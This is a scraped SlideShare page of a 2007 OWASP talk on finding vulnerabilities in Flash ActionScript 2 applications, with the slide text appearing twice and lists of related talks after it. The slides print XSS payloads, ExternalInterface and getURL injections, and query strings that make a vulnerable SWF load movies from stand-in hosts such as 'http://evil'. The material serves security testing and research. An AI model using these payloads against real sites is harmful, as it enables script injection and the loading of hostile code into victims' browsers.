SlideShare a Scribd company logo
Finding Vulnerabilities in Flash Applications Stefano Di Paola CTO MindedSecurity [email_address] +393209495590
Stefano Di Paola: CTO & Co-Founder Minded Security Security Engineer & Researcher Web App Pen Tester Code Review and Forensic Vulnerabilities (PDF UXSS & Others) OWASP Italy R&D Director $ Whoami^J
Agenda Introduction  SWF Client Side Attacks Finding Injection Entry Points Potentially Dangerous Native Functions and Objects Runtime Analysis
Agenda Introduction   SWF Client Side Attacks Finding Injection Entry Points Potentially Dangerous Native Functions and Objects Runtime Analysis
Objectives Focus on Flash ActionScript 2 Applications Security Understand the attack flow Dead Code Analysis Methodology Runtime Analysis Methodology
Flash Apps - Security Concerns Can execute JavaScript when embedded in a HTML page and viewed from inside a Browser. Can forge binary requests and HTTP Requests. Can execute external Flash Movies. Can play Audio/Video files natively. Can display minimal HTML code inside a TextField.
Agenda Introduction SWF Client Side Attacks Finding Injection Entry Points Potentially Dangerous Native Functions and Objects Runtime Analysis
SWF Client Side Attacks This new attack vector was presented @ OWASP 2007 Appsec Conference in Milan, Italy Relies on flawed SWF files and not on SWF parser A flawed SWF is a SWF which could allow classical XSS Cross Site Flashing (the dark side of cross movie scripting)
Cross Site Flashing (XSF) XSF occurs when from different domains: One Movie loads another Movie with loadMovie* functions or other hacks and has access to the same sandbox or part of it XSF could also occurs when an HTML page uses *Script to script a Macromedia Flash movie, for example, by calling: GetVariable : access to flash public and static object from javascript as a string. SetVariable : set a static or public flash object to a new string value from javascript.  Unexpected Browser to SWF communication could result in stealing data from SWF application
Accomplishing an Attack using flawed SWF When a link to a flawed SWF is directly pasted to the location bar every browser automatically generates some HTML with Object and/or Embed tags : <html> <body marginwidth=&quot;0&quot; marginheight=&quot;0&quot;> <embed width=&quot;100%&quot; height=&quot;100%&quot; name=&quot;plugin&quot; src=&quot;http://Url/To/Swf&quot;   type=&quot;application/x-shockwave-flash&quot;/> </body> </html>
Attack Example to a Flawed SWF A flawed SWF was uploaded to vi.ct.im Host. Contains the following code Let's see what an attacker could do with a browser ( Video ) v1.loadv = function () { this.varTarget = new MovieClip(); _root.createEmptyMovieClip('varTarget', 10); var v2 = new XML(); v2.load( _root.test ); };
Accomplish an attack So clicking and redirecting to a SWF will let the browser execute it on the main window. Works with every browser. IE7 needs: Iframe 'src' could be used too. Tested on Firefox SWF/Browser interaction doesn't work in IE7 using  javascript: .  We'll see when it works even with IE7 try{ code }catch(e){location.reload()}
The Attack Flow We will see the dangerous mechanisms that could lead to Client Side Attacks URL QueryString Global Uninitialized Variables flashVars External Movies Remote XML files MP3 and Flv Movies Embedded HTML
Agenda Introduction SWF Client Side Attacks Finding Injection Entry Points Potentially Dangerous Native Functions and Objects Runtime Analysis
Register Globals in ActionScript Similar to PHP Register Globals Every uninitialized variable  with global scope is a potential threat: _root.* _global.* _level0.* .* It is easy to add it as a parameter in the query string: http://URL ?language=http://evil if (_root.language != undefined) { Locale.DEFAULT_LANG = _root.language; } v5.load(Locale.DEFAULT_LANG + '/player_' +  Locale.DEFAULT_LANG + '.xml');
Register Globals in Included Files 1/2 Assumptions made for _level n movies  are wrong when a movie supposed to be at level1 is loaded as _level0 _level( n-1 ).* /* Level0 Movie */ _level0.DEMO_PATH = getHost(this._url);  loadMovieNum(_level0.DEMO_PATH + _level0.PATH_DELIMITER + 'upperlev.swf', (_level0.demo_level + 1)); .... /* Level1 Movie ' upperlev.swf ' */ ....  loadMovieNum( _level0.DEMO_PATH  + _level0.PATH_DELIMITER + 'debugger.swf', (_level0.control_level + 1)); ......
Register Globals in Included Files 2/2 Then let's load  upperlev.swf   and then use query string to initialize DEMO_PATH: http://host/upperlev.swf ?DEMO_PATH=http://evil /* Level1 Movie ' upperlev.swf ' */ ....  loadMovieNum( _level0.DEMO_PATH  + _level0.PATH_DELIMITER + 'debugger.swf', (_level0.control_level + 1)); ......
Agenda Introduction SWF Client Side Attacks Finding Injection Entry Points Potentially Dangerous Native Functions and Objects Runtime Analysis Static Analysis
Attack Patterns – Quick Reference Some Attack patterns were already described in: Testing Flash Applications http://www.wisec.it/docs.php?id=5  A quick reference of attack patterns which trigger XSS in SWF: asfunction :getURL,javascript:alert('XSS') javascript:alert('XSS') <img src='javascript:alert(“XSS”)//.jpg'> http://evil.ltd/evilversion7.swf
Attack Patterns – Quick Reference A quick reference of PDNF and Objects where attack pattern could be injected: getURL load*(URL,..) Functions loadVariables(url, level ) LoadMovie ( url, target ) LoadMovieNum( url, level ) XML.load ( url ) LoadVars.load ( url )  Sound.loadSound( url , isStreaming );  NetStream.play( url ); TextField.htmlText
Attack Patterns – GetURL New Issue The GET issue^N^N^N^N^Nfeature : From Adobe : “ ..The GET method appends the variables to the end of the URL, and is used for small numbers of variables..” if a SWF contains the above, a request like becomes: Credits go to SirDarckCat and Kuza55 who found it getURL('javascript:SomeFunc( “ someValue ” )','','GET') http://victim/noundef.swf?a=0:0;alert('XSS') javascript:SomeFunc(“someValue”) ?a=0:0;alert(123)
Attack Patterns – ExternalInterface New Issue flash.external.ExternalInterface.call syntax Actually, methodName could be any Javascript code. In fact, when call(' method123 ') is executed, a javascript function is called  ( www.develotec.com/flash8api.txt ) : public static call(methodName:String, [parameter1:Object]) try { __flash__toXML( method123 ()) ; } catch (e) { &quot;<undefined/>&quot;; }
External Interface Attack What happens if a SWF contains: http://host/swf?callback= (new Function(“alert(‘Xss’)”)) Works with Iframe and IE7 too flash.external.ExternalInterface.call( _root.callback ) __flash__toXML( (new Function( “ alert( ‘ Xss ’ ) ” )) ())
Attack Patterns – Font New Issue Some code like Rewrites ‘something’ to <p font=“TIMES”>something</p> That could be exploited by injecting : fontFamily = ' ”><img src=”http://evil/evil.swf”><” ' createTextField(&quot;txt&quot;, 999, 10, 10, 320, 240); txt.html=true; var _tf:TextFormat = new TextFormat(); _tf.font =  _root.fontFamily ; txt.setTextFormat( _tf ); txt.htmlText='something';
Modify the Data Flow 1/4 Multiple classes and packages are often used to separate functionality. In Flash, every class/package like is compiled in the following way: push 'simpleClass' getVariable not not branchIfTrue label1 ... label1 end class simpleClass{}
Modify the Data Flow 2/4 Decompiled by flare, results in: So simpleClass is a _global attribute. This means that it's initially undefined. So it can be instantiated with a string value from the query string if (!simpleClass) { _global.simpleClass = function () {}; ...   }
Modify the Data Flow 3/4 Suppose there is a class like: class simpleUtils { static public function testForSomething(){   if(ok) return true;   else return false; } ... class simpleClass { static function main(){ if(!simpleUtils.testForSomething())  getURL('javascript:alert(&quot;Sorry!&quot;)'); else  getURL('javascript:alert(&quot;ok!&quot;)');  } ...
Modify the Data Flow 4/4 Sending the request: http://host/swf.swf? simpleUtils =blah sets the object simpleUtils to an instantiated string, so: simpleUtils.testForSomething() becomes undefined and the flow is modified. if(!simpleUtils.testForSomething())  getURL('javascript:alert(&quot;Sorry!&quot;)'); else getURL('javascript:alert(&quot;ok!&quot;)');
Agenda Introduction SWF Client Side Attacks Finding Injection Entry Points Potentially Dangerous Native Functions and Objects Runtime Analysis
Recipe for Runtime Analysis A method to find uninitialized variables A SWF Container which loads the external one One array of attack patterns A framework to mix our ingredients
Find Undefined Vars @ Runtime Definition of __resolve : from Adobe: “ a reference to a user-defined function that  is invoked  if ActionScript code  refers to an undefined property or method . If ActionScript code refers to an undefined property or method of an object, Flash Player determines whether the object's __resolve property is defined.” As we need to find _root.* or _global.* undefined variables: _ root.__resolve  = function (name){ // name is undefined    }
Attack Patterns Array From our knowledge base, an attack Array will contain the following elements: Direct load asfunction: getURL,javascript:gotRoot(&quot;&quot;)///d.jpg  Controlled Evil Page/Host:  http://at.tack.er/evil.swf Flash Html Injection: “ '><img src='asfunction:getURL,javascript:gotRoot(“”)//.jpg' > Dom Injection: (gotRoot('')) Js/Flash Error: “ '|!$%&/)=
A SWF Container  The SWF to be analyzed is closed, so we need a wrapper which shares _root and _global variables  The wrapper will contain __resolve methods for _root and _globals. var image_mcl = new MovieClipLoader(); image_mcl.addListener(mclListener); _root._lockroot=true image_mcl.loadClip( _root.swfurl+&quot;?&quot;+ _root.varToSend, _root.varTarget);
A framework: SWFRTAnalyzer
Conclusions A free version of the SWF Runtime Analyser will be released by Minded Security. Awareness about ActionScript security is growing but is still a drop in the ocean. There is still a lot of research to do about Actionscript security.
Thank you :)  Questions? Web:  http://www.mindedsecurity.com Weblog:  http://www.wisec.it Email:  stefano.dipaola_at_mindedsecurity.com

More Related Content

PPT
Flash Security, OWASP Chennai
PPTX
nullcon 2011 - Reversing MicroSoft patches to reveal vulnerable code
PPT
Secure Ftp Java Style Rev004
PDF
AMF Testing Made Easy! DeepSec 2012
PPT
(In)Security Implication in the JS Universe
PPTX
Preventing In-Browser Malicious Code Execution
PDF
Comparing DOM XSS Tools On Real World Bug
PPT
Web App Testing With Selenium
Flash Security, OWASP Chennai
nullcon 2011 - Reversing MicroSoft patches to reveal vulnerable code
Secure Ftp Java Style Rev004
AMF Testing Made Easy! DeepSec 2012
(In)Security Implication in the JS Universe
Preventing In-Browser Malicious Code Execution
Comparing DOM XSS Tools On Real World Bug
Web App Testing With Selenium

What's hot (19)

PDF
Automated User Tests with Apache Flex
PDF
Writing simple buffer_overflow_exploits
PDF
More about PHP
PDF
Secure code
PDF
Python Flask Tutorial For Beginners | Flask Web Development Tutorial | Python...
PDF
Python Flask app deployed to OPenShift using Wercker CI
PDF
TYPO3 Scheduler
PPT
Learn flask in 90mins
PDF
We Continue Exploring Tizen: C# Components Proved to be of High Quality
PDF
Neat tricks to bypass CSRF-protection
KEY
LvivPy - Flask in details
PPT
Presentation_C++UnitTest
PPTX
PHP 7 Crash Course - php[world] 2015
PDF
Why Windows 8 drivers are buggy
PPT
Enterprise AIR Development for JavaScript Developers
PDF
Flask Basics
PDF
Firefox Easily Analyzed by PVS-Studio Standalone
PDF
Http Parameter Pollution, a new category of web attacks
ODP
Mastering Namespaces in PHP
Automated User Tests with Apache Flex
Writing simple buffer_overflow_exploits
More about PHP
Secure code
Python Flask Tutorial For Beginners | Flask Web Development Tutorial | Python...
Python Flask app deployed to OPenShift using Wercker CI
TYPO3 Scheduler
Learn flask in 90mins
We Continue Exploring Tizen: C# Components Proved to be of High Quality
Neat tricks to bypass CSRF-protection
LvivPy - Flask in details
Presentation_C++UnitTest
PHP 7 Crash Course - php[world] 2015
Why Windows 8 drivers are buggy
Enterprise AIR Development for JavaScript Developers
Flask Basics
Firefox Easily Analyzed by PVS-Studio Standalone
Http Parameter Pollution, a new category of web attacks
Mastering Namespaces in PHP
Ad

Viewers also liked (6)

PPTX
Html5 vs Flash
PPT
Architecting RIAs
PPT
Testing flash and flex for accessibility indic threads-q11
PPT
JavaFX
PDF
HTML5 Handling Security Issues, Security Threats for HTML5, HTML5 Application...
Html5 vs Flash
Architecting RIAs
Testing flash and flex for accessibility indic threads-q11
JavaFX
HTML5 Handling Security Issues, Security Threats for HTML5, HTML5 Application...
Ad

Similar to Owasp Wasc App Sec2007 San Jose Finding Vulnsin Flash Apps (20)

PPTX
Client-side JavaScript Vulnerabilities
PDF
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
PPT
Same Origin Policy Weaknesses
PPT
Teflon - Anti Stick for the browser attack surface
DOCX
Web-servers & Application Hacking
PPT
Unusual Web Bugs
PPT
Web Bugs
PPTX
Flash it baby!
PDF
[Poland] It's only about frontend
PPTX
HTML5 Introduction
PPT
Hacking The World With Flash
PPT
PHP Security
PDF
Penetration testing web application web application (in) security
PPT
Sxsw 20090314
PPT
Google在Web前端方面的经验
PPT
SXSW: Even Faster Web Sites
PPT
Watir Presentation Sumanth Krishna. A
ODP
RichFaces - Testing on Mobile Devices
PPT
Silver Light By Nyros Developer
PDF
Offline strategies for HTML5 web applications - IPC12
Client-side JavaScript Vulnerabilities
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
Same Origin Policy Weaknesses
Teflon - Anti Stick for the browser attack surface
Web-servers & Application Hacking
Unusual Web Bugs
Web Bugs
Flash it baby!
[Poland] It's only about frontend
HTML5 Introduction
Hacking The World With Flash
PHP Security
Penetration testing web application web application (in) security
Sxsw 20090314
Google在Web前端方面的经验
SXSW: Even Faster Web Sites
Watir Presentation Sumanth Krishna. A
RichFaces - Testing on Mobile Devices
Silver Light By Nyros Developer
Offline strategies for HTML5 web applications - IPC12

Recently uploaded (20)

PDF
A comparative analysis of optical character recognition models for extracting...
PDF
Video forgery: An extensive analysis of inter-and intra-frame manipulation al...
PPTX
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
PDF
Univ-Connecticut-ChatGPT-Presentaion.pdf
PPTX
1. Introduction to Computer Programming.pptx
PDF
Encapsulation theory and applications.pdf
PPTX
Chapter 5: Probability Theory and Statistics
PDF
DASA ADMISSION 2024_FirstRound_FirstRank_LastRank.pdf
PPTX
OMC Textile Division Presentation 2021.pptx
PPTX
A Presentation on Touch Screen Technology
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PPTX
A Presentation on Artificial Intelligence
PDF
Microsoft Solutions Partner Drive Digital Transformation with D365.pdf
PDF
Unlocking AI with Model Context Protocol (MCP)
PDF
NewMind AI Weekly Chronicles - August'25-Week II
PDF
Hindi spoken digit analysis for native and non-native speakers
PDF
DP Operators-handbook-extract for the Mautical Institute
PDF
WOOl fibre morphology and structure.pdf for textiles
PDF
1 - Historical Antecedents, Social Consideration.pdf
PDF
A comparative study of natural language inference in Swahili using monolingua...
A comparative analysis of optical character recognition models for extracting...
Video forgery: An extensive analysis of inter-and intra-frame manipulation al...
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
Univ-Connecticut-ChatGPT-Presentaion.pdf
1. Introduction to Computer Programming.pptx
Encapsulation theory and applications.pdf
Chapter 5: Probability Theory and Statistics
DASA ADMISSION 2024_FirstRound_FirstRank_LastRank.pdf
OMC Textile Division Presentation 2021.pptx
A Presentation on Touch Screen Technology
Building Integrated photovoltaic BIPV_UPV.pdf
A Presentation on Artificial Intelligence
Microsoft Solutions Partner Drive Digital Transformation with D365.pdf
Unlocking AI with Model Context Protocol (MCP)
NewMind AI Weekly Chronicles - August'25-Week II
Hindi spoken digit analysis for native and non-native speakers
DP Operators-handbook-extract for the Mautical Institute
WOOl fibre morphology and structure.pdf for textiles
1 - Historical Antecedents, Social Consideration.pdf
A comparative study of natural language inference in Swahili using monolingua...

Owasp Wasc App Sec2007 San Jose Finding Vulnsin Flash Apps

  • 1. Finding Vulnerabilities in Flash Applications Stefano Di Paola CTO MindedSecurity [email_address] +393209495590
  • 2. Stefano Di Paola: CTO & Co-Founder Minded Security Security Engineer & Researcher Web App Pen Tester Code Review and Forensic Vulnerabilities (PDF UXSS & Others) OWASP Italy R&D Director $ Whoami^J
  • 3. Agenda Introduction SWF Client Side Attacks Finding Injection Entry Points Potentially Dangerous Native Functions and Objects Runtime Analysis
  • 4. Agenda Introduction SWF Client Side Attacks Finding Injection Entry Points Potentially Dangerous Native Functions and Objects Runtime Analysis
  • 5. Objectives Focus on Flash ActionScript 2 Applications Security Understand the attack flow Dead Code Analysis Methodology Runtime Analysis Methodology
  • 6. Flash Apps - Security Concerns Can execute JavaScript when embedded in a HTML page and viewed from inside a Browser. Can forge binary requests and HTTP Requests. Can execute external Flash Movies. Can play Audio/Video files natively. Can display minimal HTML code inside a TextField.
  • 7. Agenda Introduction SWF Client Side Attacks Finding Injection Entry Points Potentially Dangerous Native Functions and Objects Runtime Analysis
  • 8. SWF Client Side Attacks This new attack vector was presented @ OWASP 2007 Appsec Conference in Milan, Italy Relies on flawed SWF files and not on SWF parser A flawed SWF is a SWF which could allow classical XSS Cross Site Flashing (the dark side of cross movie scripting)
  • 9. Cross Site Flashing (XSF) XSF occurs when from different domains: One Movie loads another Movie with loadMovie* functions or other hacks and has access to the same sandbox or part of it XSF could also occurs when an HTML page uses *Script to script a Macromedia Flash movie, for example, by calling: GetVariable : access to flash public and static object from javascript as a string. SetVariable : set a static or public flash object to a new string value from javascript. Unexpected Browser to SWF communication could result in stealing data from SWF application
  • 10. Accomplishing an Attack using flawed SWF When a link to a flawed SWF is directly pasted to the location bar every browser automatically generates some HTML with Object and/or Embed tags : <html> <body marginwidth=&quot;0&quot; marginheight=&quot;0&quot;> <embed width=&quot;100%&quot; height=&quot;100%&quot; name=&quot;plugin&quot; src=&quot;http://Url/To/Swf&quot; type=&quot;application/x-shockwave-flash&quot;/> </body> </html>
  • 11. Attack Example to a Flawed SWF A flawed SWF was uploaded to vi.ct.im Host. Contains the following code Let's see what an attacker could do with a browser ( Video ) v1.loadv = function () { this.varTarget = new MovieClip(); _root.createEmptyMovieClip('varTarget', 10); var v2 = new XML(); v2.load( _root.test ); };
  • 12. Accomplish an attack So clicking and redirecting to a SWF will let the browser execute it on the main window. Works with every browser. IE7 needs: Iframe 'src' could be used too. Tested on Firefox SWF/Browser interaction doesn't work in IE7 using javascript: . We'll see when it works even with IE7 try{ code }catch(e){location.reload()}
  • 13. The Attack Flow We will see the dangerous mechanisms that could lead to Client Side Attacks URL QueryString Global Uninitialized Variables flashVars External Movies Remote XML files MP3 and Flv Movies Embedded HTML
  • 14. Agenda Introduction SWF Client Side Attacks Finding Injection Entry Points Potentially Dangerous Native Functions and Objects Runtime Analysis
  • 15. Register Globals in ActionScript Similar to PHP Register Globals Every uninitialized variable with global scope is a potential threat: _root.* _global.* _level0.* .* It is easy to add it as a parameter in the query string: http://URL ?language=http://evil if (_root.language != undefined) { Locale.DEFAULT_LANG = _root.language; } v5.load(Locale.DEFAULT_LANG + '/player_' + Locale.DEFAULT_LANG + '.xml');
  • 16. Register Globals in Included Files 1/2 Assumptions made for _level n movies are wrong when a movie supposed to be at level1 is loaded as _level0 _level( n-1 ).* /* Level0 Movie */ _level0.DEMO_PATH = getHost(this._url); loadMovieNum(_level0.DEMO_PATH + _level0.PATH_DELIMITER + 'upperlev.swf', (_level0.demo_level + 1)); .... /* Level1 Movie ' upperlev.swf ' */ .... loadMovieNum( _level0.DEMO_PATH + _level0.PATH_DELIMITER + 'debugger.swf', (_level0.control_level + 1)); ......
  • 17. Register Globals in Included Files 2/2 Then let's load upperlev.swf and then use query string to initialize DEMO_PATH: http://host/upperlev.swf ?DEMO_PATH=http://evil /* Level1 Movie ' upperlev.swf ' */ .... loadMovieNum( _level0.DEMO_PATH + _level0.PATH_DELIMITER + 'debugger.swf', (_level0.control_level + 1)); ......
  • 18. Agenda Introduction SWF Client Side Attacks Finding Injection Entry Points Potentially Dangerous Native Functions and Objects Runtime Analysis Static Analysis
  • 19. Attack Patterns – Quick Reference Some Attack patterns were already described in: Testing Flash Applications http://www.wisec.it/docs.php?id=5 A quick reference of attack patterns which trigger XSS in SWF: asfunction :getURL,javascript:alert('XSS') javascript:alert('XSS') <img src='javascript:alert(“XSS”)//.jpg'> http://evil.ltd/evilversion7.swf
  • 20. Attack Patterns – Quick Reference A quick reference of PDNF and Objects where attack pattern could be injected: getURL load*(URL,..) Functions loadVariables(url, level ) LoadMovie ( url, target ) LoadMovieNum( url, level ) XML.load ( url ) LoadVars.load ( url ) Sound.loadSound( url , isStreaming ); NetStream.play( url ); TextField.htmlText
  • 21. Attack Patterns – GetURL New Issue The GET issue^N^N^N^N^Nfeature : From Adobe : “ ..The GET method appends the variables to the end of the URL, and is used for small numbers of variables..” if a SWF contains the above, a request like becomes: Credits go to SirDarckCat and Kuza55 who found it getURL('javascript:SomeFunc( “ someValue ” )','','GET') http://victim/noundef.swf?a=0:0;alert('XSS') javascript:SomeFunc(“someValue”) ?a=0:0;alert(123)
  • 22. Attack Patterns – ExternalInterface New Issue flash.external.ExternalInterface.call syntax Actually, methodName could be any Javascript code. In fact, when call(' method123 ') is executed, a javascript function is called ( www.develotec.com/flash8api.txt ) : public static call(methodName:String, [parameter1:Object]) try { __flash__toXML( method123 ()) ; } catch (e) { &quot;<undefined/>&quot;; }
  • 23. External Interface Attack What happens if a SWF contains: http://host/swf?callback= (new Function(“alert(‘Xss’)”)) Works with Iframe and IE7 too flash.external.ExternalInterface.call( _root.callback ) __flash__toXML( (new Function( “ alert( ‘ Xss ’ ) ” )) ())
  • 24. Attack Patterns – Font New Issue Some code like Rewrites ‘something’ to <p font=“TIMES”>something</p> That could be exploited by injecting : fontFamily = ' ”><img src=”http://evil/evil.swf”><” ' createTextField(&quot;txt&quot;, 999, 10, 10, 320, 240); txt.html=true; var _tf:TextFormat = new TextFormat(); _tf.font = _root.fontFamily ; txt.setTextFormat( _tf ); txt.htmlText='something';
  • 25. Modify the Data Flow 1/4 Multiple classes and packages are often used to separate functionality. In Flash, every class/package like is compiled in the following way: push 'simpleClass' getVariable not not branchIfTrue label1 ... label1 end class simpleClass{}
  • 26. Modify the Data Flow 2/4 Decompiled by flare, results in: So simpleClass is a _global attribute. This means that it's initially undefined. So it can be instantiated with a string value from the query string if (!simpleClass) { _global.simpleClass = function () {}; ... }
  • 27. Modify the Data Flow 3/4 Suppose there is a class like: class simpleUtils { static public function testForSomething(){ if(ok) return true; else return false; } ... class simpleClass { static function main(){ if(!simpleUtils.testForSomething()) getURL('javascript:alert(&quot;Sorry!&quot;)'); else getURL('javascript:alert(&quot;ok!&quot;)'); } ...
  • 28. Modify the Data Flow 4/4 Sending the request: http://host/swf.swf? simpleUtils =blah sets the object simpleUtils to an instantiated string, so: simpleUtils.testForSomething() becomes undefined and the flow is modified. if(!simpleUtils.testForSomething()) getURL('javascript:alert(&quot;Sorry!&quot;)'); else getURL('javascript:alert(&quot;ok!&quot;)');
  • 29. Agenda Introduction SWF Client Side Attacks Finding Injection Entry Points Potentially Dangerous Native Functions and Objects Runtime Analysis
  • 30. Recipe for Runtime Analysis A method to find uninitialized variables A SWF Container which loads the external one One array of attack patterns A framework to mix our ingredients
  • 31. Find Undefined Vars @ Runtime Definition of __resolve : from Adobe: “ a reference to a user-defined function that is invoked if ActionScript code refers to an undefined property or method . If ActionScript code refers to an undefined property or method of an object, Flash Player determines whether the object's __resolve property is defined.” As we need to find _root.* or _global.* undefined variables: _ root.__resolve = function (name){ // name is undefined }
  • 32. Attack Patterns Array From our knowledge base, an attack Array will contain the following elements: Direct load asfunction: getURL,javascript:gotRoot(&quot;&quot;)///d.jpg Controlled Evil Page/Host: http://at.tack.er/evil.swf Flash Html Injection: “ '><img src='asfunction:getURL,javascript:gotRoot(“”)//.jpg' > Dom Injection: (gotRoot('')) Js/Flash Error: “ '|!$%&/)=
  • 33. A SWF Container The SWF to be analyzed is closed, so we need a wrapper which shares _root and _global variables The wrapper will contain __resolve methods for _root and _globals. var image_mcl = new MovieClipLoader(); image_mcl.addListener(mclListener); _root._lockroot=true image_mcl.loadClip( _root.swfurl+&quot;?&quot;+ _root.varToSend, _root.varTarget);
  • 35. Conclusions A free version of the SWF Runtime Analyser will be released by Minded Security. Awareness about ActionScript security is growing but is still a drop in the ocean. There is still a lot of research to do about Actionscript security.
  • 36. Thank you :) Questions? Web: http://www.mindedsecurity.com Weblog: http://www.wisec.it Email: stefano.dipaola_at_mindedsecurity.com